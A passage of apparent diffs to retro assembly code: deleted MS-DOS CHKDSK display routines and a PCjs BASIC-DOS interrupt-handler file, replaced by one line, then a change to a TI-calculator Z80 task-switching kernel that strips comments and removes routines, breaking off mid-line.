SI ;Number non-contig blocks - XOR DI,DI - MOV BX,OFFSET DG:EXTENTS - PUSH BP - CALL DISP16BITS - POP BP -GETNXT: - MOV AH,DIR_SEARCH_NEXT ;Look for the next file - JMP FRAGCHK - -MSGCHK: - CMP AH,DIR_SEARCH_FIRST - JNZ FILSPOK - MOV SI,FCB + 1 ;File not found error - CALL PRINTTHISEL2 - CALL DOCRLF - MOV DX,OFFSET DG:OPNERR - CALL PRINT ;Bad file spec - RET -FILSPOK: - CMP BYTE PTR [FRAGMENT],2 - JZ CDONE - MOV DX,OFFSET DG:NOEXTENTS - CALL PRINT -CDONE: - RET - - -FIGREC: -;Convert cluster number in BX to sector # AH of cluster in DX - LDS DI,[THISDPB] -ASSUME DS:NOTHING - MOV CL,[DI.dpb_cluster_shift] - MOV DX,BX - DEC DX - DEC DX - SHL DX,CL - OR DL,AH - ADD DX,[DI.dpb_first_sector] - PUSH CS - POP DS -ASSUME DS:DG - RET - - -SUBTTL PRINTID - Print Volume ID info -PAGE -PRINTID: -ASSUME DS:DG - MOV DX,OFFSET DG:INTERNATVARS - MOV AX,INTERNATIONAL SHL 8 - INT 21H - MOV [DISPFLG],1 ;Don't sub spaces for leading zeros - MOV SI,OFFSET DG:FAT + 8 - MOV DI,OFFSET DG:VNAME - MOV CX,11 - REP MOVSB - MOV DX,OFFSET DG:IDMES1 - CALL PRINT ;Print ID message - ADD SI,13 - LODSW ;Get date - PUSH SI - MOV DX,AX - MOV AX,[INTERNATVARS.Date_tim_format] - OR AX,AX - JZ USPDAT - DEC AX - JZ EUPDAT - CALL P_YR - CALL P_DSEP - CALL P_MON - CALL P_DSEP - MOV CX,1000H ;Do not supress leading zeroes - CALL P_DAY - JMP P_TIME - -USPDAT: - CALL P_MONTH_NAM - MOV CX,1110H ;Supress at most 1 leading 0 - CALL P_DAY - PUSH DX - MOV DL,',' - CALL PRTCHR - MOV DL,' ' - CALL PRTCHR - POP DX -PYA: - CALL P_YR - JMP P_TIME - -EUPDAT: - MOV CX,1110H ;Supress at most 1 leading 0 - CALL P_DAY - PUSH DX - MOV DL,' ' - CALL PRTCHR - POP DX - CALL P_MONTH_NAM - JMP PYA - -P_DSEP: - PUSH DX - MOV DL,[INTERNATVARS.Date_sep] - CALL PRTCHR - POP DX - RET - -P_MONTH_NAM: - MOV AX,DX - PUSH DX - MOV CL,5 - SHR AX,CL - AND AX,0FH ;Month in AX - DEC AX ;Make 0 indexed - MOV CX,AX - SHL AX,1 - ADD AX,CX ;Mult by 3 chars/mo - MOV SI,OFFSET DG:MONTAB - ADD SI,AX - LODSB - MOV DL,AL - CALL PRTCHR - LODSB - MOV DL,AL - CALL PRTCHR - LODSB - MOV DL,AL - CALL PRTCHR - MOV DL,' ' - CALL PRTCHR - POP DX - RET - -P_MON: - MOV SI,DX - PUSH DX - MOV CL,5 - SHR SI,CL - AND SI,0FH ;Month in SI - CALL CONVERT - MOV DL,AL - MOV CX,1000H ;Do not supress leading 0 - CALL OUTBYTE ;Print month - POP DX - RET - -P_DAY: - MOV SI,DX - PUSH DX - PUSH CX - AND SI,01FH ;SI has day - CALL CONVERT - POP CX - MOV DL,AL - CALL OUTBYTE ;Print day - POP DX - RET - -P_YR: - MOV SI,DX - PUSH DX - MOV CL,9 - SHR SI,CL - AND SI,07FH ;SI has raw year - ADD SI,1980 ;Real year - CALL CONVERT - MOV CX,1000H ;Do not supress leading zeros - CALL OUTWORD ;Print year - POP DX - RET - -P_TIME: - MOV DL,' ' - CALL PRTCHR - POP SI - ADD SI,-4 - LODSW ;Get time - MOV DI,AX - MOV SI,DI - MOV CL,11 - SHR SI,CL - AND SI,01FH ;SI has hour - CMP [INTERNATVARS.Time_24],0 - JNZ ISOK2 ;24 hour time? - CMP SI,12 - JB ISOK ;Is AM - MOV [TCHAR],'p' - JZ ISOK ;Is 12-1p - SUB SI,12 ;Is PM -ISOK: - OR SI,SI - JNZ ISOK2 - MOV SI,12 ;0 is 12a -ISOK2: - CALL CONVERT - MOV CX,1110H ;Supress at most 1 leading 0 - MOV DL,AL - CALL OUTBYTE ;Print hour - MOV DL,BYTE PTR [INTERNATVARS.Time_sep] - CALL PRTCHR - MOV SI,DI - MOV CL,5 - SHR SI,CL - AND SI,03FH ;SI has minute - CALL CONVERT - MOV CX,1000H ;Do not supress leading zeroes - MOV DL,AL - CALL OUTBYTE ;Print minute - MOV DL,[TCHAR] - CMP [INTERNATVARS.Time_24],0 - JNZ NOAP ;24 hour time, no a or p - CALL PRTCHR ;Print a or p -NOAP: - MOV DX,OFFSET DG:IDPOST - CALL PRINT - MOV [DISPFLG],0 - RET - -CONVERT: - MOV CX,16 - XOR AX,AX -CNVLOOP: - SHL SI,1 - CALL CONVWRD - CLC - LOOP CNVLOOP - RET - -SUBTTL Misc Routines - Mostly I/O -PAGE -CONVWRD: - ADC AL,AL - DAA - XCHG AL,AH - ADC AL,AL - DAA - XCHG AL,AH -RET1: RET - -UNSCALE: - SHR CX,1 - JC RET1 - SHL SI,1 - RCL DI,1 - JMP SHORT UNSCALE - -DISP16BITS: - MOV BYTE PTR DISPFLG,1 - JMP SHORT DISP32BITS - -DISPCLUS: - MUL [SSIZE] - MOV CL,[CSIZE] - XOR CH,CH - MOV SI,AX - MOV DI,DX - CALL UNSCALE - -DISP32BITS: - PUSH BP - PUSH BX - XOR AX,AX - MOV BX,AX - MOV BP,AX - MOV CX,32 -CONVLP: - SHL SI,1 - RCL DI,1 - XCHG AX,BP - CALL CONVWRD - XCHG AX,BP - XCHG AX,BX - CALL CONVWRD - XCHG AX,BX - ADC AL,0 - LOOP CONVLP - ; Conversion complete - MOV CX,1310H ;Print 3-digit number with 2 leading blanks - CMP BYTE PTR DISPFLG,0 - JNZ FOURDIG - MOV CX,1810H ;Print 8-digit number with 2 leading blanks - XCHG DX,AX - CALL DIGIT - XCHG AX,BX - CALL OUTWORD -FOURDIG: - MOV AX,BP - CALL OUTWORD - MOV BYTE PTR DISPFLG,0 - POP DX - CALL PRINT - POP BP - RET - -OUTWORD: - PUSH AX - MOV DL,AH - CALL OUTBYTE - POP DX -OUTBYTE: - MOV DH,DL - SHR DL,1 - SHR DL,1 - SHR DL,1 - SHR DL,1 - CALL DIGIT - MOV DL,DH -DIGIT: - AND DL,0FH - JZ BLANKZER - MOV CL,0 -BLANKZER: - DEC CH - AND CL,CH - OR DL,30H - SUB DL,CL - CMP BYTE PTR DISPFLG,0 - JZ PRTCHR - CMP DL,30H - JL RET2 -PRTCHR: - MOV AH,STD_CON_OUTPUT - INT 21H -RET2: RET - -PRINTCNT: - LODSB - MOV DL,AL - INT 21H - LOOP PRINTCNT - RET - -EPRINT: - CALL CHECKERR - JNZ RET$1 - JMP SHORT PRINT - -DOCRLF: - MOV DX,OFFSET DG:CRLF -PRINT: - MOV AH,STD_CON_STRING_OUTPUT - INT 21H -RET$1: RET - -DOTCOMBMES: - CMP [NOISY],0 - JZ SUBERRP - PUSH DX - CALL PRINTCURRDIRERR - MOV DX,OFFSET DG:CENTRY - CALL EPRINT - POP DX - CALL EPRINT - CALL DOCRLF - RET - -SUBERRP: - MOV AL,1 - XCHG AL,[ERRSUB] - CMP AL,0 - JNZ RET32 - MOV SI,OFFSET DG:NUL - CALL PRINTCURRDIRERR - MOV DX,OFFSET DG:BADSUBDIR - CALL EPRINT -RET32: RET - - -FCB_TO_ASCZ: ;Convert DS:SI to ASCIIZ ES:DI - MOV CX,8 -MAINNAME: - LODSB - CMP AL,' ' - JZ SKIPSPC - STOSB -SKIPSPC: - LOOP MAINNAME - LODSB - CMP AL,' ' - JZ GOTNAME - MOV AH,AL - MOV AL,'.' - STOSB - XCHG AL,AH - STOSB - MOV CL,2 -EXTNAME: - LODSB - CMP AL,' ' - JZ GOTNAME - STOSB - LOOP EXTNAME - -GOTNAME: - XOR AL,AL - STOSB - RET - -CODE ENDS - END CHKDSK - - -; -; BASIC-DOS Driver/Application Interface Entry Points -; -; @author Jeff Parsons -; @copyright (c) 2020-2021 Jeff Parsons -; @license MIT -; -; This file is part of PCjs, a computer emulation software project at pcjs.org -; - include macros.inc - include 8086.inc - include bios.inc - include dos.inc - include dosapi.inc - -DOS segment word public 'CODE' - - EXTWORD - EXTABS - EXTWORD - EXTBYTE - EXTNEAR - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_dverr (INT 00h) -; -; If a "divide exception" occurs, this default handler reports it and then -; aborts the current program. -; -DEFPROC dos_dverr,DOSFAR - IFDEF MAXDEBUG - DBGBRK - ENDIF - push ax - IFNDEF DEBUG - PRINTF <"Division error",13,10> - ELSE -; -; Print the 32-bit return address on the stack, and since it's already on -; the stack, we don't have to push it, which means PRINTF won't try to pop it -; either. However, since we had to push AX (the only register that PRINTF -; modifies), we must include a special PRINTF formatter (%U) that skips one -; 16-bit value on the stack. -; - PRINTF <"Division error @%U%08lx",13,10> - ENDIF - call msc_sigerr - pop ax - IFDEF DEBUG - iret - ELSE - mov ah,EXTYPE_DVERR - jmp dos_abort - ENDIF -ENDPROC dos_dverr - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_sstep (INT 01h) -; -; If a trace interrupt (or an explicit INT 10h) occurs, and no debugger -; is currently running, we catch it here and ignore it. -; -DEFPROC dos_sstep,DOSFAR - iret -ENDPROC dos_sstep - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_brkpt (INT 03h) -; -; If a breakpoint interrupt occurs, and no debugger is currently running, -; we catch it here and ignore it. -; -DEFPROC dos_brkpt,DOSFAR - iret -ENDPROC dos_brkpt - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_oferr (INT 04h) -; -; If an "overflow exception" occurs, this default handler reports it and -; signals the error. -; -DEFPROC dos_oferr,DOSFAR - IFDEF MAXDEBUG - DBGBRK - ENDIF - push ax - IFNDEF DEBUG - PRINTF <"Overflow error",13,10> - ELSE -; -; Print the 32-bit return address on the stack, and since it's already on -; the stack, we don't have to push it, which means PRINTF won't try to pop it -; either. However, since we had to push AX (the only register that PRINTF -; modifies), we must include a special PRINTF formatter (%U) that skips one -; 16-bit value on the stack. -; - PRINTF <"Overflow error @%U%08lx",13,10> - ENDIF - call msc_sigerr - pop ax - IFDEF DEBUG - iret - ELSE - mov ah,EXTYPE_OVERR - jmp dos_abort - ENDIF -ENDPROC dos_oferr - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_opchk (INT 06h) -; -; This interrupt is used by DEBUG builds to perform "operation checks", -; based on the byte that follows the INT 06h instruction; eg: -; -; CCh: breakpoint -; F9h: assertion failure -; FBh: 32-bit multiply check -; FCh: 32-bit division check -; -; If the 8086 emulation environment isn't set up to intercept INT 06h and -; perform these checks, this handler ensures the checks are harmless. -; -DEFPROC dos_opchk,DOSFAR - IFDEF DEBUG - push bp - mov bp,sp - push ax - push si - push ds - lds si,dword ptr [bp+2] ; DS:SI = CS:IP from stack - cld - lodsb - mov [bp+2],si ; update CS:IP to skip OPCHECK byte - cmp al,OP_ASSERT ; OP_ASSERT? - jnz oc9 ; no - sub si,3 ; display the address of the INT 06h - ; PRINTF <"Assertion failure @%08lx",13,10>,si,ds - DBGBRK -oc9: pop ds - pop si - pop ax - pop bp - ENDIF -; -; Even if you mistakenly run a DEBUG binary on a non-DEBUG system (which -; means all that's here is this IRET), any operation check should still be -; innocuous (but that's neither guaranteed nor recommended). -; - iret -ENDPROC dos_opchk - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_term (INT 20h) -; -; NOTE: In PC DOS, this interrupt, as well as INT 21h AH=00h, apparently -; requires the call to be made from the segment containing the PSP (CS == PSP). -; We do not. Also, the underlying function here (DOS_PSP_TERM) sets a default -; exit code (we use zero), whereas DOS_PSP_RETURN (4Ch) allows any exit code -; to be returned. -; -DEFPROC dos_term,DOSFAR - mov ah,DOS_PSP_TERM - int 21h - iret -ENDPROC dos_term - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_restart -; -; Default CTRLC response handler; if carry is set, call DOS_PSP_RETURN with -; (arbitrary) exit code -1. -; -; Inputs: -; Carry determines whether we exit the process or restart the DOS call -; -; Outputs: -; None -; -DEFPROC dos_restart,DOSFAR - jnc dos_func - mov ah,EXTYPE_CTRLC - DEFLBL dos_abort,near - mov al,0FFh ; AL = exit code - xchg dx,ax ; DL = exit code, DH = exit type - DOSUTIL TERM - ASSERT NEVER ; assert that we never get here -ENDPROC dos_restart - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_func (INT 21h) -; -; Inputs: -; Varies -; -; Outputs: -; Varies -; -DEFPROC dos_func,DOSFAR - cld ; we assume CLD everywhere - sub sp,size WS_TEMP - push ax ; order of pushes must match REG_FRAME - push bx - push cx - push dx - DEFLBL dos_enter,near - push ds - push si - push es - push di - push bp - mov bp,sp - -dc0: IF REG_CHECK ; in DEBUG builds, use CALL to push - call dos_check ; a marker ("dos_check") onto the stack - ENDIF ; which REG_CHECK checks will verify - DEFLBL dos_check,near -; -; While we assign DS and ES to the DOS segment on DOS function entry, we -; do NOT assume they will still be set that way when the FUNCTBL call returns. -; - mov bx,cs - mov ds,bx - ASSUME DS:DOS - mov es,bx - ASSUME ES:DOS - - mov bx,[scb_active] - ASSERT STRUCT,[bx],SCB - inc [bx].SCB_INDOS -; -; Utility functions don't automatically re-enable interrupts, clear carry, -; or check for CTRLC, since some of them are called from interrupt handlers. -; - cmp ah,80h ; utility function? - jb dc1 ; no - sub ah,80h - cmp ah,UTILTBL_SIZE ; utility function within range? - jae dos_leave ; no - mov bl,ah - add bl,FUNCTBL_SIZE ; the utility function table - jmp short dc2 ; follows the DOS function table - -dc1: sti - and [bp].REG_FL,NOT FL_CARRY - cmp ah,FUNCTBL_SIZE - cmc - jb dc3 - - IFDEF MAXDEBUG - push ax - mov al,ah -; -; %P is a special formatter that prints the caller's REG_CS:REG_IP-2 in hex; -; "#010" ensures it's printed with "0x" and 8 digits with leading zeroes. -; - DPRINTF 'd',<"%#010P: DOS function %02bxh\r\n">,ax - pop ax - ENDIF ; MAXDEBUG -; -; If CTRLC checking is enabled for all (non-utility) functions and a CTRLC -; was detected (two conditions that we check with a single compare), signal it. -; - cmp word ptr [bx].SCB_CTRLC_ALL,0101h - je dc4 ; signal CTRLC - mov bl,ah -dc2: mov bh,0 ; BX = function # - add bx,bx ; convert function # to word offset -; -; For convenience, general-purpose registers AX, CX, DX, SI, DI, and SS -; contain their original values. -; - call FUNCTBL[bx] - ASSUME DS:NOTHING, ES:NOTHING -; -; We'd just as soon IRET to the caller (which also restores their D flag), -; so we now update FL_CARRY on the stack (which we already cleared on entry). -; -dc3: adc [bp].REG_FL,0 - - DEFLBL dos_leave,near - IF REG_CHECK ; in DEBUG builds, check the "marker" - pop bx ; that we pushed on entry - ASSERT Z, - ENDIF -; -; Whenever the session's INDOS count returns to zero, check for a pending -; SCSTAT_ABORT; if set AND we're not in the middle of a hardware interrupt, -; clear the ABORT condition and simulate a DOSUTIL TERM session abort. -; - mov bx,[scb_active] - ASSERT STRUCT,cs:[bx],SCB - dec cs:[bx].SCB_INDOS - ASSERT GE - jnz dos_leave2 - test cs:[bx].SCB_STATUS,SCSTAT_ABORT - jz dos_leave2 - cmp word ptr [scb_locked],-1; do NOT abort if session or driver - jne dos_leave2 ; lock levels are >= 0 - and cs:[bx].SCB_STATUS,NOT SCSTAT_ABORT -; -; WARNING: This simulation of DOSUTIL TERM takes a shortcut by not updating -; REG_AH or REG_DX in REG_FRAME, but neither utl_term nor psp_termcode rely -; on REG_FRAME for their inputs, so while this is not completely kosher, we'll -; be fine. The same is true for the termination code in int_leave. -; - mov dx,(EXTYPE_ABORT SHL 8) OR 0FFh - mov ah,DOS_UTL_TERM + 80h - jmp dc0 - -dc4: jmp msc_readctrlc - - DEFLBL dos_leave2,near - pop bp - pop di - pop es - ASSUME ES:NOTHING - pop si - pop ds - ASSUME DS:NOTHING - pop dx - pop cx - pop bx - pop ax - add sp,size WS_TEMP - iret -ENDPROC dos_func - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_exit (INT 22h handler) -; -DEFPROC dos_exit,DOSFAR - ASSERT NEVER ; assert that we never get here - jmp near ptr dos_term -ENDPROC dos_exit - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_ctrlc (INT 23h handler) -; -DEFPROC dos_ctrlc,DOSFAR - push ax - mov ah,DOS_DSK_RESET - int 21h - pop ax - stc ; set carry to indicate termination - ret -ENDPROC dos_ctrlc - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_error (INT 24h handler) -; -; Outputs: -; AL = 0: ignore error -; AL = 1: retry operation -; AL = 2: abort program via INT 23h -; AL = 3: fail system call in progress -; -DEFPROC dos_error,DOSFAR - mov al,CRERR_ABORT ; default to 2 (abort via INT 23h) - iret -ENDPROC dos_error - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_default (currently used for INT 28h and INT 2Ah-2Fh) -; -DEFPROC dos_default,DOSFAR - iret -ENDPROC dos_default - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; disk_read (INT 25h) -; -; TODO -; -DEFPROC disk_read,DOSFAR - iret -ENDPROC disk_read - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; disk_write (INT 26h) -; -; TODO -; -DEFPROC disk_write,DOSFAR - iret -ENDPROC disk_write - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_tsr (INT 27h) -; -; TODO -; -DEFPROC dos_tsr,DOSFAR - iret -ENDPROC dos_tsr - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_call5 (INT 30h) -; -; We typically arrive here via NEAR CALL 0005h to FAR CALL to FAR JMP in -; vector 30h. We should be able to transform that into an INT 21h by "simply" -; moving the NEAR CALL return address into the FAR CALL return address, then -; replacing the NEAR CALL return address with the current flags, and finally -; moving the DOS function # from CL to AH. -; -; Not being familiar with the CALL 0005h interface, whether that's actually -; sufficient remains to be seen. -; -DEFPROC dos_call5,DOSFAR - push bp - mov bp,sp - mov ax,[bp+6] - mov [bp+2],ax - pushf ; since we didn't arrive here via INT, - pop [bp+6] ; these flags should have interrupts on - pop bp - mov ah,cl - jmp near ptr dos_func -ENDPROC dos_call5 - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; dos_util (INT 32h) -; -; We could jump straight to dos_func after adjusting the function number, -; but if a breakpoint has been set on dos_func, we'd rather not have dos_util -; calls triggering it as well; hence the redundant CLD and jmp + 1. -; -DEFPROC dos_util,DOSFAR - cld - add ah,80h - jmp near ptr dos_func + 1 ; avoid the same entry point as INT 21h -ENDPROC dos_util - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; int_enter -; -; DDINT_ENTER is "revectored" here by sysinit. -; -; Inputs: -; None -; -; Outputs: -; Carry clear (DOS interrupt processing enabled) -; -DEFPROC int_enter,DOSFAR - inc [int_level] - clc - ret -ENDPROC int_enter - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; int_leave -; -; DDINT_LEAVE is "revectored" here by sysinit. -; -; Inputs: -; Carry set to reschedule, assuming int_level has dropped below zero -; -; Outputs: -; None -; -DEFPROC int_leave,DOSFAR - cli - dec [int_level] - jge ddl9 - jnc ddl9 -; -; Enter DOS to perform a reschedule. -; -; However, we first take a peek at the current SCB's INDOS count and -; ABORT flag; if the count is zero and the flag is set, force termination. -; - cld - sub sp,size WS_TEMP - push ax - push bx - push cx - push dx - mov ah,DOS_UTL_YIELD + 80h - mov bx,cs:[scb_active] - cmp cs:[bx].SCB_INDOS,0 - jne ddl8 - test cs:[bx].SCB_STATUS,SCSTAT_ABORT - jz ddl8 - and cs:[bx].SCB_STATUS,NOT SCSTAT_ABORT - mov dx,(EXTYPE_ABORT SHL 8) OR 0FFh - mov ah,DOS_UTL_TERM + 80h -ddl8: jmp dos_enter -ddl9: iret -ENDPROC int_leave - -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; -; -; func_none (handler for unimplemented DOS functions) -; -; Inputs: -; Varies -; -; Outputs: -; REG_AX = ERR_INVALID, carry set -; -DEFPROC func_none,DOS - IFDEF DEBUG - mov al,ah -; -; %P is a special formatter that prints the caller's REG_CS:REG_IP-2 in hex; -; "#010" ensures it's printed with "0x" and 8 digits with leading zeroes. -; - DPRINTF 'd',<"%#010P: unsupported DOS function %02bxh\r\n">,ax - ENDIF ; DEBUG - - mov [bp].REG_AX,ERR_INVALID - stc - ret -ENDPROC func_none - -DOS ends - - end \ No newline at end of file + MOV AH,'1' \ No newline at end of file diff --git a/ref_z80 b/ref_z80 index 7bd5fb8..40cf27d 100644 --- a/ref_z80 +++ b/ref_z80 @@ -2,123 +2,68 @@ .nolist #include "tse.inc" .list - .org saferam1-3 .db $BB,$6D ret - -; Task block details flags_base .equ 89F0h flags_size .equ 60 sp_size .equ 2 task_sp .equ 0 task_flags .equ task_sp + sp_size task_end .equ task_flags + flags_size - -; Block size maxblocksize .equ 100h - start: jr startkrnl - jp verinfo ; Library function 0, Get version/functions supported - jp chkprog ; Library function 1, Check program - jp exitshell ; Library function 2, Exit from shell - jp taskswitch ; Library function 3, Switch task - jp starttask ; Library function 4, Start task - jp endtask ; Library function 5, End task - jp forceyield ; Library function 6, Force yield - + jp verinfo + jp chkprog + jp exitshell + jp taskswitch + jp starttask + jp endtask + jp forceyield verinfo ld hl, %0000000001111111 majorver .equ 1 minorver .equ 6 ld bc, (majorver*256)+minorver ret - startkrnl: - - ; Disable run indicator bcall(_runIndicOff) - - ; Preserve flags ld bc, flags_size ld hl, flags_base ld de, sysflags ldir - - ; Set active program ld hl, shellprog ld de, cprogram bcall(_mov9b) - - ; Look up the shell in the symbol table ld hl, cprogram - rst 20h ;rMOV9TOOP1 + rst 20h call starttask cp 0 ret nz - - ; Check to see if enough free RAM for block copy buffer call chkEnoughForBuffer - - ; Preserve stack ld (sysstack), sp - - ; Exec jp taskenter exitshell: - - ; Restore stack ld hl, (sysstack) ld sp, hl - - ; Copy out of active memory call cpy_prgm_out - - ; End task ld hl, shellprog - rst 20h ;rMOV9TOOP1 + rst 20h call endtask - - ; Clear screen bcall(_clrScrnFull) - - ; Display exit message ld hl, 0 ld (currow), hl ld hl, msg bcall(_puts) - - ; Disable ON flag res onInterrupt, (iy+onFlags) - ret - -; Force the program to yield -; -; Inputs - -; None -; -; Returns - -; Nothing -; forceyield: ld hl, shellprog - rst 20h ;rMOV9TOOP1 + rst 20h call taskswitch ret - -; Load a program into active memory and run it -; -; Inputs - -; OP1 should contain a program variable -; -; Returns - -; Nothing -; taskswitch: - - ; Preserve sp ld (tempword), sp ld hl, (pptr_preserve) push hl @@ -126,13 +71,9 @@ taskswitch: ld (hl), e inc hl ld (hl), d - - ; Preserve var ld hl, op1 ld de, tprogram bcall(_mov9b) - - ; Preserve flags pop hl inc hl inc hl @@ -140,76 +81,40 @@ taskswitch: ld bc, flags_size ld hl, flags_base ldir - - ; Display message ld hl, 0 ld (currow), hl set textInverse, (iy+textflags) ld hl, plswait bcall(_puts) - - ; Borrow system stack ld hl, (sysstack) ld sp, hl - - ; Check to see if enough RAM for block copy buffer call chkEnoughForBuffer - - ; Copy current program out of memory call cpy_prgm_out - - ; Copy program name to cprogram ld hl, tprogram ld de, cprogram bcall(_mov9b) - taskenter: - - ; Check to see if enough RAM for block copy buffer call chkEnoughForBuffer - - ; Load new program in call cpy_prgm_in - - ; Restore flags ld hl, (pptr_preserve) inc hl inc hl ld bc, flags_size ld de, flags_base ldir - - ; Restore sp ld hl, (pptr_preserve) bcall(_ldHLind) ld sp, hl - - ; Exec program ret - -; Remove a task block from the end of a program variable and update its -; status. -; -; Inputs - -; OP1 should contain a program variable -; -; Returns - -; A will equal 0 on sucess otherwise it's an error code endtask: - - ; Find the program and set PTR_'s call chkprog cp 0 ret nz - - ; Check to see if task block doesn't exist ld hl, (fptr_prgtitle) ld a, (hl) cp ' ' - ld a, 4 ; Load error code 4 - Task block doesn't exist + ld a, 4 ret z - - ; Calculate task block size ld hl, (fptr_memreq) bcall(_ldHLind) ex de, hl @@ -217,18 +122,12 @@ endtask: add hl, de push hl push hl - - ; Find start of task block ex de, hl ld hl, (fptr_end) or a sbc hl, de - - ; Delete task block pop de bcall(_delmem) - - ; Update variable size field ld hl, (fptr_varsize) bcall(_ldHLind) pop bc @@ -239,751 +138,20 @@ endtask: ld (hl), e inc hl ld (hl), d - - ; Modify status byte and return ld hl, (fptr_prgtitle) ld a, ' ' ld (hl), a - - ; Success xor a ret - -; Add a task block onto the end of a program variable and update its -; status. -; -; Inputs - -; OP1 should contain a program variable -; -; Returns - -; A will equal 0 on sucess otherwise it's an error code -starttask: - - ; Find the program and set PTR_'s - call chkprog - cp 0 - ret nz - - ; Check to see if task block already exists - ld hl, (fptr_prgtitle) - ld a, (hl) - cp '*' - ld a, 4 ; Load error code 4 - Task block already exists - ret z - - ; Check available memory - ld hl, (fptr_memreq) - bcall(_ldHLind) - ld bc, task_end - add hl, bc - push hl - push hl - bcall(_enoughmem) - ld a, 5 ; Load error code 5 - Insufficient memory - ret c - - ; Insert memory - ld de, (fptr_end) - pop hl - bcall(_insertmem) - - ; Update variable size field - ld hl, (fptr_varsize) - bcall(_ldHLind) - pop bc - add hl, bc - ex de, hl - ld hl, (fptr_varsize) - ld (hl), e - inc hl - ld (hl), d - - ; Get address of taskblock - ld hl, (fptr_memreq) - bcall(_ldHLind) - ld bc, (fptr_end) - add hl, bc - push hl - push hl - push hl - - ; Set start address - ld de, userMem + 4 - ld hl, (fptr_prgtitle) -findcodeaddr: - ld a, (hl) - cp 0 - inc hl - inc de - jr nz, findcodeaddr - inc de - inc de - pop hl - dec hl - ld (hl), d - dec hl - ld (hl), e - - ; Set sp - ld hl, (fptr_varsize) - bcall(_ldHLind) - ld bc, userMem - (3 + task_end + 2) - add hl, bc - ex de, hl - pop hl - ld (hl), e - inc hl - ld (hl), d - - ; Save flags into taskblock - pop hl - inc hl - inc hl - ex de, hl - ld bc, flags_size - ld hl, sysflags - ldir - - ; Update status bytes - ld hl, (fptr_prgtitle) - ld a, '*' - ld (hl), a - - ; Success - xor a - ret - -; Locate a TSE program in memory and set pointers. -; -; Inputs - -; OP1 should contain a program variable -; -; Returns - -; A will equal 0 on sucess otherwise it's an error code -; HL points to prgtitle -; (fptr_varsize), (fptr_code) and (fptr_end) set point to program -; -chkprog: - - ; Check to see if variable exists - bcall(_ChkFindSym) - ex de, hl - ld a, 1 ; Load error code 1 - Variable does not exist - ret c ; Return if error - - ; Check to see if variable is in RAM - ld a, b - cp 0 - ;OLD: ld a, 2 ; Load error code 2 - Variable is stored in FLASH-ROM - ;OLD: ret nz ; Return if error - jr z, notFlash - ld de, saferam5 - ld bc, 256 - bcall(_FlashToRam) - ld hl, saferam5 + 9 - ld c, (hl) - ld b, 0 - inc bc - add hl, bc - call notFlash - cp 0 - ret nz - ld a, 2 ; Load error code 2 - Variable is stored in FLASH-ROM - ret -notFlash: - - ; Get pointer to "variable size field" - ld (fptr_varsize), hl - - ; Get pointer to "end of variable" - push hl - bcall(_ldHLind) - ld de, (fptr_varsize) - inc de - inc de - add hl, de - ld (fptr_end), hl - pop hl - - ; Check that the TSE header is valid - ld b, 4 - ld de, 5 - add hl, de - ld de, tsevalid -cmpStr: - ld a, (de) - ld c, (hl) - cp c ; Compare strings - ld a, 3 ; Load error code 3 - Not a valid TSE program - ret nz ; Return if error - inc hl ; Next byte of header - inc de ; Next byte of tsevalid - djnz cmpStr - - ; Get pointer to "program title" - ld (fptr_prgtitle), hl - - ; Get pointer to "mem required" - call skipstr - ld (fptr_memreq), hl - - ; Load HL with program title - ld 